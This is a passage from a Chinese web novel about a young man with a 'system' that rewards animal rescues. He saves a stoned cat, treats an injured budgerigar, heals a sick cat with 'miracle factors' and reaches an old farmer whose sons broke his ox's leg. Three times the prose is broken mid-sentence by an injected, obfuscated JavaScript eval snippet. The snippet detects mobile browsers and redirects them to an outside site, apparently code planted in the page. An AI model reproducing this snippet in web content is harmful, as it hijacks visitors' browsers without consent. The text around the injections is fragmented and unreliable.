温礼看见一只被拴在石头上，状态萎靡身上有明显伤口的德牧，这只狗有主人，但主人不愿意让狗接受治疗，即便温礼表示不收费也被拒绝。 晚上十点。 温礼碰到一只亲人的小狗，它身上没有伤口，疑似只是过分饥饿，出现后便目标明确地用嘴筒子不断拱人类的背包，成功美餐后便自行离开。 这一次，系统忽然提醒，说这只狗在八点以后就一直跟在他身后。 “真的假的？为了这一口粮它观察了人类两个小时？” 温礼不可置信，但仔细想想这是只狗中博士边牧又好像能理解了：“我还说它对我态度这么亲热，反而其他人靠近就躲开了……” 【聪明的流浪动物会有自己的城市生存之道。】 这话让温礼释然了这一晚的忙碌。 的确，如果城市里的流浪动物都这么聪明，没有需要人类帮助的地方，谁说不是件好事呢。 没有新的动物需要他的帮忙，他应该开心才是。 转变心态后，温礼决定顺其自然，最后再找一个小时，如果依旧一无所获的话，就回到诊所静静地看护小花。 最后的一个小时，温礼依旧没有遇见什么需要特别救助的动物。 或许到了深夜，它们也都躲起来休息了。 “看来我只能做到这种程度了。” 温礼说着，有点遗憾，但也没有过分执着，“回去吧，现在只能祈祷小花能自己撑过这段危险期，也希望我今晚能睡个好觉……” 【会的，宿主。】 系统说着，声音很柔和。 将近凌晨的街上没什么人，温礼一个人背着包走，忽然看见前方的小巷口围了几个半大的青少年。 他们围成一个弧形，冷不丁恐吓似的跺跺脚，像是正把谁堵在巷子里那样，嬉笑打闹着，温礼亲眼看见最外圈的一个少年还捡起石头往里面用力一砸，听不见里面的回应，但外面这群小孩的笑声一下更大了。 “你们在干什么？” 温礼停在他们几步外，冷不丁开口。 成年人的出现顿时打断了这些青少年的沉浸式玩乐，他们你看看我我看看你，彼此使眼色，又嬉笑着冲彼此打了打手电。 他们绝对在做一些坏事。 这个反应让温礼心里一沉，面上则表现得更加严肃，想起这附近高中的名字，佯装质问道：“这个点还在外面，你们是附中的学生？几年几班的？班主任是谁？” 少年们脸上的笑容逐渐褪去。 这片区域的光比较暗，在他们的视角下，只能看见温礼唬人的一米八高个子，至于具体的五官则在背光处显得有些模糊，隐约看到硬朗的轮廓，分辨不清具体长相。 “问这个干嘛……你是老师？” “新老师吗？我怎么没印象？” “得了吧，你抬头看过哪个老师？” “我怎么感觉有点印象……” 半信半疑，窃窃私语。 不给他们更多反应的时间，下一秒，温礼直接掏出手机打开闪光对着这些人，语气冷硬：“不说是吧？那都站好，我拍下来明天挨个进班里找。” 这一下立刻让少年们作鸟兽散乌泱泱跑开，还有个别胆大的边跑边冲后面的大人做鬼脸，然后跑得更加快了。 “跑？都不许跑！” 温礼假装追了几步，随便喊了几句，确定这些孩子都跑光了之后便又折返回小巷。 小巷里一片昏暗，看不清里面有什么，于是他打开手机的手电筒，往前方一照—— “哈！” 一只弓背炸毛哈气的奶牛猫出现在光圈中。 它看起来非常狼狈，半边身子沾着水，毛发坑坑洼洼，胡须耷拉，耳朵完全压平消失，整只猫紧紧贴着墙面，周边的地面上散落着许多小石子。 温礼愣了愣：“……你还好吗？” 回应他的是奶牛猫用爪子拍地的又一声哈气。 温礼终于知道刚才那群小孩到底围在一起干什么了。他感到一阵难以抑制的愤怒和无奈，恨不得他真的是老师明天就能把人都搜罗起来教育，但很可惜他不是，所以他只能对面前还处在应激状态下的猫咪下手。 “嘿，别害怕，我不是坏人。” 温礼从包里掏出猫条戴上手套，尽可能缓慢地靠近奶牛猫，猫一直在哈气试图躲避，但它身后是死路，所以只能在人类朝他伸手时猛地扑了上来—— 然后它就被温礼顺势接过倒栽葱式的装进了包里，好不容易扭转身子露出脑袋想咬人，嘴里就被怼了一根猫条。 一切发生的太快，等它大脑反应过来，自己就已经吧唧吧唧吃了好几口。 而它也已经被人类装在包里走出了小巷。 奶牛猫当然想反抗，可它的身体被关在包里，怎么挠怎么蹬都动摇不了，而唯一露在外面的脑袋只要张开嘴巴，无论是想哈气还是想咬人，都会在张开的瞬间被结结实实怼一口猫条。 危险=进攻 进攻=进食 进食=安全 这一系列等式下来，很快奶牛猫就不张嘴了——因为它觉得自己吃不下了。 在包里仰着脑袋一摇一晃，它看着上方的人类，终于没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着这只小鸟蓝白的渐变色羽毛，他冷不丁想起来，中午的时候小猫从他衣领里翻出了鸟羽……不会就因为这样，小猫特地外出为他“打猎”抓了一只鸟吧？ 猫的好意他心领了，但他可不希望有一只小鸟因此受伤啊！ …… 于是凌晨时分，诊所里来了两个急救对象。 先处理完鹦鹉身上的伤口并注射抗生素，又把上蹿下跳的奶牛猫干洗好放置，一通流程下来已经是凌晨三点了，温礼瘫在沙发上，累到连一根指头也抬不起来，实在没想到今天最后关头了还要经此一遭。 “呜喵。” 小狸花跳上沙发，关切地叫了一声。 温礼勉强打起精神，正打算把猫揽进怀里好好教育一番，可就在这个时候，他忽然听见了脑内久违的系统结算音—— 【恭喜宿主完成本次救助任务，奖励已发放。】 【恭喜宿主完成本次救助任务，奖励已发放。】 温礼愣愣地眨了眨眼。 ……他幻听了？ 12. 奖励 “系统，我好像幻听了，我听到了任务完成的结算诶。” 【宿主，您并没有幻听，面板显示您的确完成了有效救助任务。】 温礼睁大眼。 什么疲倦困意在这一刻的惊喜下都一扫而空，他差点直接跳起来，即便没这样做也还是肉眼可见的兴奋，原本他是打算抱起小猫教育的，但现在只顾着猛搓猫头表示兴奋了。 “太好了……”他喃喃道，“这下我是真的没有遗憾了！” 他这一天已经是竭尽全力，并且到最后一刻真的有了收获。现在是否能开出想要的奖励，就不是他所能左右的，只能看命运女神是否眷顾他了。 因为稍微有点紧张，温礼没有自己去查看奖励，而是选择让系统公布。 【好的，正在查看奖励——】 温礼抱着小狸花，深吸一口气。 【本次任务奖励：现金1000元，通用洗浴剂×1，医用纱布×1，航空箱×2。】 逐字听完，温礼并没有听见额外的陌生内容，胸口含着的那口气缓缓散去。 略微惆怅，但也有了心理准备。 他举起小猫，正打算说些什么，却听见脑内系统再度开口。 【本次任务奖励：现金1000元，逗猫棒×1，强力麻醉剂×1，奇迹因子×5。】 温礼：…… 温礼：“系统，系统你是不是坏掉了？怎么奖励说了两遍不一样的，以哪个为准啊？你别刺激我啊！” 他捂着心口，哪怕已经有了最坏的心理准备，也实在受不了这坐过山车似的波折。 【宿主，系统没有坏。】 系统的口吻略显惊异，它也很意外。 【系统显示，这些分别是两次救助任务的奖励。】 【这意味着，判定认为您在方才完成了两次符合要求的救助任务。】 两次？两次！ 过去的几个小时里温礼忙前忙后，总共也就做了两件事——给奶牛猫洗干净身上的油，帮鹦鹉处理好身上的咬伤。 前者温礼是可以理解的，按照那群青少年没轻没重的下手，再加上猫咪身上的油污，证明如果他没有出现并带走奶牛猫，它大概率会被那群少年以一种极其恶劣的手段活活虐杀。 但是，后者也能算吗？他养的猫咬了鹦鹉让他来救，这不是钻空子吗？ 系统给出了详细的解答。 【理论上说，如果救助目标的困境与宿主强相关，那么判定绝对不会认可其救助的正当性，也不会发放奖励，为了防止出现性质恶劣的“自导自演”行为。】 【现在通过判定，只能说明，这只鹦鹉的困境与您无关，与诊所的猫咪也无关。】 温礼：“所以说，鹦鹉身上的伤和小狸花没有关系……” 温礼：“小狸花很可能只是捡到了它，然后把它叼了回来？” 【基本可以这样判断。】 温礼低头，和小猫对视。 小猫也抬头，和人对视。 那对黄绿色的眼睛无辜而纯粹，黝黑的圆形瞳孔在灯下显得水汪汪的，仿佛在无声地责备人的恶意揣测。 人当即败下阵来：“对不起！我不该那么想你的！” 小猫：“喵——” 人事后诸葛亮中：“唉，也是，你前几天还只能翻垃圾桶找吃的，要是能抓到鸟早就去抓了，怎么可能突然就抓了只鸟呢？” 小猫：“喵！！” 气氛倏地放松下来，温礼终于忍不住笑了，他将略微炸毛的小狸花抱起来，重重地亲了一口。 “原来今天不止我一个人在努力，你也在努力帮忙，好厉害呀。” “呜喵。” “那走吧，让我们用今天一起的努力成果，去救你的妈妈吧！” “喵~” …… 整整五点的奇迹因子，还没在温礼的面板上捂热，就直接用了出去。 使用方法非常玄学，系统让温礼闭上眼，在心中不断地默念自己当前正在关注的事，并在选择使用后发挥想象力全力畅享这件事未来的发展。 温礼：“要是我没控制住，到后面开始幻想小花变成了一只可上天入地的超级猫猫怎么办？” 【……宿主，这种完全不存在的可能应该是不会发生的，但还是不建议这样浪费。】 “嘿嘿，开个玩笑啦。” 皮这一下很开心的温礼深呼气，感觉原本紧张的心情逐渐平静下来。 他注视着隔着一层玻璃的三花猫，视网膜里深深映出它奄奄一息的虚弱模样。 闭上眼，在心中选择使用奇迹因子，短暂的黑暗过后，眼前又出现了这只三花猫。 温礼看到了未来。 三花猫顺利地度过了这段危险期，很快被转移到普通的笼子里。它开始可以自主进食，慢慢地站起来，面对小猫笼外的呼唤积极响应，伸出爪爪表示自己很想出去。它没几天就离开了笼子，在诊所的地面上从行走到奔跑，它很快适应并喜欢诊所的生活，带着小猫开心地住了下来，甚至主动让温礼帮忙绝育…… 停，好像有什么奇怪的东西混了进去。 温礼紧闭的睫毛抖了抖，连忙收回过分发散的展望，集中注意力描绘三花猫康复痊愈的细节。 三花猫的手术恢复得很成功，没有任何后遗症，之后健步如飞攀岩走壁不在话下，是只可以健康长寿活到二十多岁的超级猫猫…… 停，怎么真的想出了超级猫猫这个词。 五分钟过去，温礼忐忑不安地结束了畅想。 【宿主，您感觉如何？】 “我感觉到了人类脑洞的无限可能。” 温礼咳了一声，比划了一下：“我努力控制了！但还是稍微有那么一点不受控制发散的超现实内容，应该不影响它的发挥吧？” 【只要整体发展符合现实的可能，那么就可以发挥作用。】 【毕竟，您一口气使用了全部的奇迹因子，所带来的能量是巨大的。】 系统的回答让温礼放下心来。 其实在决定使用时，系统的建议是用2-3点奇迹因子就可以保证小花痊愈，但保险起见，温礼还是选择全部使用。 毕竟，系统也无法分辨究竟是哪个任务带来了关键的奖励。如果是来自于小猫捡来的鹦鹉，那么奖励自然要全部用于救助它的妈妈。 至于温礼自己想要和动物交流的愿望，就留给下一次得到奇迹因子的时候吧。 而现在—— 【宿主，您该去休息了。】 “好，有什么事记得立刻叫我。” 连着三天都没睡过超三小时完整觉的温礼打了个哈欠，只来得及这样叮嘱一句，随后连衣服都没换就倒在了休息室的床上，几乎是沾枕即睡。 一夜无梦。 自高考完后，温礼就没睡过这么香的觉。 毕设结束后的那晚都不算，因为紧接着他就要开始投简历做测试约面试正式进入社会……丝毫没有放松的感觉。 但现在不一样。 一觉睡到中午，起床后，温礼开始挨个检查诊所里的动物。 卷卷现在已经可以起身行走，并且主动进食一些肉泥和软狗粮了。温礼觉得它照顾两个幼崽很辛苦，还特地给它加了一顿鲫鱼汤补充能量。 昨晚带回来的奶牛猫现在精神良好，不过警惕心依旧很强，见温礼进来直接在笼子里弓起背走来走去，倒是没有炸毛。考虑到它的花色，温礼表示理解。 被安置在昏暗小房间里的白鹭慢腾腾地行走着，被人类再一次用插管喂食时依旧下意识高速扑腾，被翅膀连扇几十下的温礼带着一身鸟毛晕头转向地离开房间。 小花已经彻底脱离了危险期，温礼在得到系统确认后小心翼翼将它移出氧气舱放到普通笼子里，而不知何时闪现过来的小狸花则开心地凑上来问候，温礼没有打断它们母子的交流，轻轻离开。 然后，就是这只来历不明的小鹦鹉。 温礼站在笼子边上，看着棍子上站着的蓝白色团子。 他搜过了，这是只虎皮鹦鹉，市面上比较常见的一种宠物鸟。 凌晨处理伤口的时候，他看到对方身上孔状的咬伤，一看就是猫咪做的，正是因为有这样强有力的证据，他才会深信不疑这是小狸花抓回来的猎物。 不过现在系统还了小狸花清白，这让他开始猜测这只鹦鹉真正的命运—— 是被主人抛弃的宠物鸟吗？ 被主人抛弃后没有在野外生存的能力，被野猫盯上咬伤，随后被诊所的小狸花不知出于什么心理捡了回来。 只能是这样了。 “嗨？小家伙？你还好吗？” “……” 笼子里的虎皮鹦鹉蔫蔫的，似乎因为身上的伤口，它变得格外迟钝，直到人类出声喊它，它才微微抬起头。 不清楚它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巡视一圈下来，没什么需要他费心的，温礼瘫在沙发上，开始久违地放松刷手机。 最开始他还特地留意了附近的消息，想看看谁家丢了虎皮鹦鹉。但用关键词检索了一圈，除了搜到一个找领养的账号之外什么都没找到。 点进这个账号一看，图片上还是只绿色的虎皮鹦鹉，显然不是他要找的鸟主人。 一时找不到就算了，温礼放平心态，开始看新出的狮群纪录片下饭。 “但此时对这个小家伙不屑一顾的雄狮不知道，在不久的将来，对方将取代它的位置……” 太好了！是他最喜欢的逆袭！ 温礼看得津津有味。 狮群的纪录片总是会配上一个足够传奇波折的故事，要么是从瘦弱的幼崽逆袭成狮王，要么是被驱逐的年轻雄狮在新的领地扎根称王，故事里总会有一只足够亮眼彰显出特殊意志的狮子。 对了，提醒一句，看这种视频不能看评论。 再一次不小心瞟到评论里“冷知识，它最后被鬣狗群围死了”“视频里好鲜活啊，谁知道不久后它就出事了呢”“呜呜它明明才称王没多久结果就”的剧透评论，温礼痛苦万分。 不要，不要让他在爱上它们的下一秒就知道这些事啊啊——！ 虽然生老病死都是大自然的生存法则，虽然他在看其他动物纪录片时也会站在对应立场祈祷它们跑过狮群，但这不意味着他能立刻从故事中的情感中抽身出来理性地看待故事主角的死亡和结局啊！ 温礼狼狈地叉掉了这个视频。 他决定找一部最新的纪录片作为新的下饭剧，最好里边的动物主角都还活着，这样总不能有人剧透了吧！ 他成功找到了一部无论是原作还是翻译版都非常新鲜的狮群纪录片。 保险起见，温礼还点开时间倒序评论确定情况。 [据说前不久还有人拍到它，状态依旧很棒，和纪录片里一模一样。] [真好啊，没想到动物也这么励志。] [我的泪点真的好低啊看个狮子的成长史哭了三回……] [请扩散！某欧洲富豪重金悬赏本片狮王艾伦，据说贴子里已有猎人响应，请加入联名发声抵制，制止这样践踏自然的恶劣行径！！] 温礼：…… 温礼：啊？！ 13. 老人 温礼震惊了。 他循着这个评论留下的信息去找，但并没有找到相关的外网信息，好像这个评论只是个博人眼球的谣言。 他又顺着评论里语焉不详缩写的人名去拼，找到了三个与之对应的欧洲富豪，但这些人的社交媒体底下风平浪静，晒着泳池豪车美酒，一副岁月静好的样子，没看到什么悬赏，也没看到什么发声联盟。 温礼迷茫了。 而等他查完一圈返回视频底下想问个究竟时，那条评论竟然直接删掉了。 这样看更像谣言了。 百思不得其解的他询问系统：“系统，你知道狮王艾伦吗？就是这个纪录片里的主角，你知道它现在的状态吗？” 系统沉默了几秒。 【抱歉宿主，系统无法隔空探知非救助目标的生命体征。】 好吧，是他关心则乱了。 温礼本想就此揭过这个话题，但换了个视频看了半天心里还是牵挂着这只疑似被重金悬赏的大猫猫，忍不住再次开口： “要是艾伦真的出事了，系统会收到来自它的求助信息吗？” 【会的。】 系统的回答干脆利落，让温礼还有些惊讶。 他还以为按照系统一贯的严谨性，会先给出一长串前提，说“如果艾伦真的遭遇了悬赏并因此受伤性命垂危，那么系统将会判定它为必要的救助目标”之类的呢。 不知道为什么，看着视频里鲜活的大猫，温礼越看越觉得心慌慌。 这一慌他就想直接开启今天的任务。 万一呢？ 系统如他所愿地进入工作状态，不过在开始之前，系统告知他一件事。 “升级了？”温礼惊讶地问，“这才做了几个任务就升级了吗？” 【确切的说，是根据宿主先前的表现，扩大了系统的感知和传送范围。】 【比如宿主先前救助的白鹭，便是系统范围扩大的第一次尝试。确定宿主完成任务的质量一如既往，也没有远距离传送的不适感，现在便进一步扩大范围。】 【系统并不算升级，因为各项功能都没有变化，只是将原本用于让宿主适应的新手范围扩大到正常范围了，准确的形容是拓展了原本限制的内容。】 “哦哦……” 温礼若有所思地点点头。 他这时心里想的却是，这样长句的严谨解释才是系统的风格嘛，不过为什么偏偏在这个时候解释，还特地说明扩大了感知范围，难道真的……！ 他闭上眼，猜测或许下一秒自己就要在大草原驰骋奔跑—— “哞。” 然后他听到一声牛叫。 视野陡然亮了起来，微热的空气扑面而来，眼前是一大片一大片翻起的整齐黄土地，头顶炫目的日光打在眼里，它又叫了一声： “哞——” “你又累啦？” 随着它转头，不远处一个穿着蓝色衣服的身影走了过来。 来人并不高挑，微微弓着背，脸上手上满是岁月的折痕，皮肤黢黑，标准的农民模样。他背着一个竹编的背篓，里头放了一些嫩草，见牛盯着他后背，便慢吞吞地伸手拿了一簇草，递给牛。 “吃吧吃吧。” “哞。” 它又叫了一声，伸出舌头卷着去吃草，尽量不碰到人手。 它是一头老黄牛。 它的主人是一名老农民。 在耕地机器较为普及的今天，似乎很少人继续用牛力耕田，田里乡间的牛基本都被卖掉了，温礼没想到还能看到这一幕。 不过老人与牛似乎也没有在真正耕田。 与其说是耕地，不如说他们在田里散步，老黄牛慢悠悠地走，没走几步就停下来要喝水吃草，老人竟然也没责备它，反而真的喂了几次，时不时还帮忙扫扫牛身上的灰，赶赶虫子。 温礼还以为自己要沉浸式体验一下老黄牛耕田的劳累，没想到这一趟下来还挺轻松惬意的。 不知道悠闲的时光过了多久，它的尾巴甩了甩，感知到了天色的变化，又冲着人叫了一声。 “该走了吗？”老人抬眼看了看天，“行，咱走吧。” 老人将绳子套在牛的脖颈处，自己坐上后面载物的小三轮，一人一牛就这样在乡间的小路上走。 路上没有车，只有和他们一样返程的农人。 “老黄啊，今天回去这么早？” “你这牛今天耕地没？耕多少了？” “孩子都工作了还种地呢，不进城享福吗？” 在一来一回的对话中，温礼大致了解到了老人的大体情况。 老人姓黄，有两个儿子，妻子早年间去世，他没有再找，靠着种地把两个孩子都供上了大学，现在两人都在城里工作。 他家里现在没人，只有一头活了二十来年的老黄牛陪他，感情很深，哪怕现在不需要种地谋生也天天牵着牛往田里走，说是耕地但其实就是出去溜达一圈吹吹风，别提多惬意了。 “真不打算把牛卖了吗？”临到分别时，老黄的同伴又和他提起，“咱村就剩你家还有牛了，也不种地养着不费钱吗？现在卖了还能值万把块呢。” 它的眼珠动了动，眼皮垂下，尾巴也不晃了。 老人的脸一下垮了下来。 “成天说这个，我把你卖了得了！这老牛陪我二十年，耕了多少地了，那年我摔伤了还是它给我驼回去的，现在它老了我就把它卖了？我还是人吗？” “滚滚，别说这丧良心的话，一头老牛我还养不起？我可养大了俩孩子呢！我养不起他们不得帮着养！” 同伴讪笑着离开，老人则摸了摸老牛的脑袋：“走了，那话不中听你也别听，你可得一直陪我。” 它轻轻地叫了声，重新迈开脚步，身后的小尾巴也晃了晃。 老人与牛度过了一段平静的生活。 直到某天，老人远在外地的孩子们回来了。 它不知道具体发生了什么，只知道今天老人没牵它去田里逛逛，不过休息一天它也挺乐意的，所以在牛棚里还算悠然的歇息。 “不方便照顾……” “反正没用……” “卖了还能多……” 它听见外面似乎传来一阵又一阵的喧哗，偶尔它被惊动，翻起耳朵仔细听，但听也听不太分明，只能听见老人似乎不太开心。 等到第二天，老人终于来到牛棚拎起绳子把它往外面牵的时候，它才发现不大不小的院子里来了不少人，门外还停着一辆后车空荡的拉货车。 见它出现，很多人看向它。 看向它的腿脚，看向它的腰腹，打量的眼神。 它顿时停住了脚步，祈求地看向老人，而老人脸皮抖动，突然骂了一声：“谁让你们来了！滚滚滚！丧良心的东西……” 老人暴躁地推开了门口堵的人，牛则跟随他的脚步昂首离开，怀抱着一点点私心，用身子结结实实顶开了这些人。 他们又去田里溜达。 老人离开院子时气势汹汹，到现在却陡然平和了下来。他坐在田埂上叹气，叹着叹着就开始抹眼泪，牛原本在远处啃着新鲜草叶，看见人这样，就边哞哞叫着边踱步过来，用脑袋轻轻拱了拱老人的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756515|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀。 “还是你有良心，你比他们有良心多了。” 老人终于忍不住，抬手抱着牛的脖子，埋怨似的骂起来。 “咱俩一起把他们养那么大，养出息了，一点用没有，就想着老了怎么好处理掉咱们，卖个好价钱。” “心全都掉钱眼里了，都没有感情，没有心，怎么读书后反而学坏了呢。” “小时候你还陪他们玩呢……他们把你耳朵弄伤了，你都没生气，你多乖啊。” 它垂着脑袋，这不是个舒服的姿势，但它一动不动地任由老人抱着它，时不时温顺地叫一声，或者扑棱一下耳朵，权当回应。 狠狠骂了两个孩子一顿，老人也想开了，他对着牛说： “不管这俩白眼狼，我反正要养你。我都养得起俩人了，也养得起牛，只要你能吃能喝，我就养你到死。” 这话不是安抚老牛的，因为牵着牛回去后，老人也是这么对着他的孩子说的。 如果只是普通的理念分歧，或许到这里就已经结束了。 但当晚，有人溜进了牛棚里。 第二天，老人发现他的牛跛脚了。 牛的一条后腿根本搭不到地面，即便搭到了也只是脚尖点地根本没力气，老人试着按往常那样牵着牛走，没走几步路牛就哀哀切切地叫出声来，甩着脑袋挣脱，显然疼得不行。 没人承认这是自己做的，只说老牛年纪大了容易受伤，估计是自己摔的。 但老人自己知道，老牛从没受过这么重的伤，突然受伤，只可能是因为昨天的话，为了让他一个老人照顾不了。 小院里因此爆发了激烈的争吵。 “不想养老牛就把牛腿打断，不想养老头你们要把我的腿也打断吗？”抱着老牛，看着老牛因为疼痛而缓慢落下的眼泪，老人忍不住也哭了，“干脆现在就动手算了，把我俩老骨头埋一起算了！” 争吵中，或许是情绪过于激动，老人直接昏了过去。 牛第一时间发现，下意识垂着脑袋想把人往自己背上拱，但因为腿伤蹲不下去，只能眼睁睁看着老人被其他人带走，进了那些它不允许进入的房间。 紧接着，他们对它窃窃私语： “哥，现在怎么办？” “算了，趁现在叫人过来直接卖了吧，反正咱爸也生气了。” “这样好吗？要是爸醒来得更生气吧。” “生气又能怎么样，反正到时候牛也已经没了，总不可能真为一头牛和我们较真，到时候不就只能和我们进城？” 于是它被人牵着绳子往外走。 它顿在原地不想走，视线紧盯着老人被带去的房间，哞哞地叫唤，但没有人理会它的关切，旁边的人见它不愿意走，又是直接举起棍子往它背上打，大声呵斥着。 被驯服的老牛总归是温顺的。 没有人救它，它仿佛也知道了自己的命运，在身上的疼痛中踉跄着被赶到了车上，护栏一抬，一切场景不断后退，它便逐渐远离这个熟悉的小院。 “哞。” “哞……” 低低的叫声在蜿蜒的山路中听不分明。 不知道过了多久，车停了，老牛依旧被圈在车上的围栏里。 因为路上的一阵颠簸，它趴伏在了车上，站不起来。 感到饥饿，而头顶上恰好也有一簇长着绿叶的枝丫，它想最后再吃点东西，但伤腿的无力让它站不起来，只能抬起头渴望地盯着，伸长脑袋，像是在等一阵温柔的风能压下这片叶子。 …… 可到最后也没有风，它没能吃上哪怕一口。 14.固定 温礼还是头一次在共鸣时被气得不轻。 尤其是在看到老牛被人鞭笞着上车时，他恨不得直接顶号，转头把屁股后面那个中年人顶翻。 虽然家养的耕牛怎么处理都是主人的自由，也的确有不少耕牛真的在失去价值后被贩卖处理，但显然这头老牛真正的主人是不愿意这么做的，不然系统也不会将此判定为必要救助。 就算这两人是老人的孩子，也不能这样逼迫他，更别提动手直接弄伤牛了。 难怪老人更愿意把情感寄托在老牛身上。 “系统，这次的救助目标是一只受伤的老黄牛。” 很快，冷静下来的温礼开始和系统介绍这次任务的具体情况。 “它的右后腿因为外力作用而骨折，目前无法正常行走，我现在需要准备什么？” “对了，它是一只有主的家畜，目前家中对它未来的去向有一些矛盾……我觉得我不仅需要快速治好它，还需要考虑到它后续的护理工作，至少让一名老人可以比较轻松地独自照顾它。” 【好的宿主，您所说的情况非常详细，接下来大概率需要进行一场手术，请在诊所内找出……】 思索片刻，系统罗列了需要携带的工具清单，因为这次救助工作需要就地进行，所以需要携带的工具还挺多的。 温礼感觉一个人带不动，干脆跑去外面的街上租了一辆小三轮，将挑选出来的工具依次放好，又换了身衣服，才示意系统可以开始传送。 【正在传送——】 “爸，您就别跟我们犟了，这牛都跛成这样，您一个人也照顾不了，干脆卖了得了。” “是啊，与其等这头老牛受几天苦饿死，倒不如趁现在卖了，早卖还不掉秤。” 农家小院里正发生着争吵。 两名中年人站在一起，他们的衣服干净整洁，和对面抱着牛和牛站在一起的老人形成了鲜明对比，隐隐有对立的趋势。 老人难以置信地看着对面的兄弟俩，再次发问：“为了让我卖牛，你们就直接打断了它的腿？” 兄弟俩一时没说话。 半晌后，他们才又陆续开口： “爸，你可别瞎说，这牛年纪大了就是容易摔，关我们什么事？” “况且，它腿已经折了，现在不是只能卖了？难不成还给它治腿？多浪费钱啊。” 老人失望地看他们一眼：“老了就没价值，就活该去死？没它那些年帮我种地，你们俩能不能活到现在都不一定！” 兄弟俩哼了一声。 老人不想再和这俩没良心的家伙说话了，他心疼地抚摸着老牛忍痛低垂的眼睛，缓声安慰：“没事，没事，我去找兽医给你治腿，之后能走就行。” 可还没等他出发，兄弟俩其中一个就拦住他，跟他说村里的兽医最近不在，刚好出去了。 这下，老人是真的心灰意冷。 他想这兄弟俩真是铁了心要牛的命，好狠的心。 “不想养老牛就把牛腿打断，不想养老头你们要把我的腿也打断吗？” 老人终于忍不住了，他抱住老牛的脖颈，和这个共事多年的老伙伴一起流下泪来。 他万分激动，沉浸在物伤其类的悲伤中，再差一点就要昏过去—— “滴滴！” 这时，院子外面却忽然传来一阵清脆的铃声，在紧绷的气氛里格外突出，一下便吸引了所有人的注意。 紧接着，传来一段喇叭的声音： “治病治病，包治百病。” “鸡鸭牛羊都可以治，免费治。” 这些话的针对性太强，老人都没时间思考，在这种情况下发觉一丝希望，连忙抹了把脸跑过去打开院门大声招呼：“这里！这里有牛要治！” 原本和老人对峙的兄弟俩疑惑地看了彼此一眼，也走到门口，就看到一个陌生的青年踩着一辆小三轮悠哉悠哉向他们缓缓驶来。 完全不像是村里的兽医。 那白净的模样，完全是城里的大学生，或者是才上班没多久的白领。 他俩觉得这人指定是骗子，但抓到救命稻草的老人却不这样想，他招呼着青年往院子里开，嘴里止不住地拜托，颠三倒四地说着牛的情况。 “麻烦你了医生，一定要治好它，我可以给钱，它之前一直很好的，能吃能喝……” “放心放心，我可是专业的。” 小三轮上，温礼这样应着老人的恳求。驶进小院时，没等门边的另外两人调整好姿势，他就直接加速开了进去，后厢上的凸起就这样直直怼在了兄弟俩的肚子上，戳的他们龇牙咧嘴。 从后视镜里看到这两人表情变化，温礼可算出了口恶气，愉快地按了按铃。 但这可把兄弟俩惹毛了： “爸！你别把什么人都带进来，这人一看就是骗子！” “是啊，别提前给牛治死了，到时候你又说是我俩的错！” 老人最开始也只是病急乱投医，现在把人领进来，看见青年那张年轻的脸，的确又有了一点犹豫。 但很快，随着温礼拿出专业的资格证书，看着上面有模有样的印章，老人还是决定相信他。 ——这些证明，其实都是绑定系统后自带的。虽然温礼也很好奇为什么他一个文科专业能获得这个证书，但想想系统都能让他和动物共鸣并且定点传送了，这种小事当然不在话下。 所以他现在就是个专业且有资质的兽医。 成功获得老人信任的温礼从车上跳下，走近老牛观察。 见到陌生人和小车，老牛有一瞬的躁动，它仿佛害怕温礼是来将它带走的，撇过头想要走远，但腿伤让它踉跄了一下，差点摔倒。 那对黝黑的眼眸湿漉，随着抽气声而忍痛地飞快眨动着。 明明是个大块头，却委屈得像个小可怜。 老人是越看越心疼，连忙凑过来安慰：“别怕啊，没打算卖你，这是医生，来帮你治腿的医生嘞。” 又是摸又是哄，总算把牛安抚下来，老人才意识到自己把医生晾了一会，有些歉意地扭头：“不好意思啊医生，我家牛比较胆小，累了一辈子终于休息，我就想对它好点……” 他下意识解释着，本以为又会得到质疑，却没想到面前的年轻医生点了点头，温和地说： “可以理解，您是个有情义的好人。” “别担心，我会努力帮您治好它的。” 老人鼻头一酸，也不知道该说些什么，只是呐呐道谢：“谢谢你啊医生……” 温礼开始了简单检查。 因为共鸣时能够清晰感受到老牛的疼痛部位，再加上系统的外挂，他很快确定了问题所在。 “骨折了，比较严重，这几块大骨头可能都断了。” “这种程度正骨打石膏都没有用，骨头自己是长不好的，还好它到现在还没摔过，摔倒了估计就再也站不起来了。” 温礼给老人指牛身上受伤的具体部位，用手轻轻一敲，才被安慰下的老牛便哞哞叫起来，痛苦地甩了甩尾巴。 老人越听脸色越白：“都断了啊……那还能治吗？” 他在牛身上见过的伤，最多也就是小腿骨折，找村里的兽医打个石膏养几天很快就又活蹦乱跳了，可这会看着青年手指的方向，他是真想不出来还能怎么治了。 这种伤，在他眼里几乎已经给牛判死刑了。 但—— “可以治，做个手术就好。” “刚好，我带了一些设备。” 青年云淡风轻地说，他掀开三轮上的篷布，逐个往下卸货。 见老人惊讶地看着他，他还不忘介绍以增进信任：“这是便携式麻醉仪，这个是消毒过的手术包，这个监护仪可以看血压……” 叽里咕噜一大堆，都是老人在大城市医院里才听过见过的高级货，光是那莹白的机械外壳就与这个充满农家气息的小院格格不入，叫他生怕磕着碰着什么。 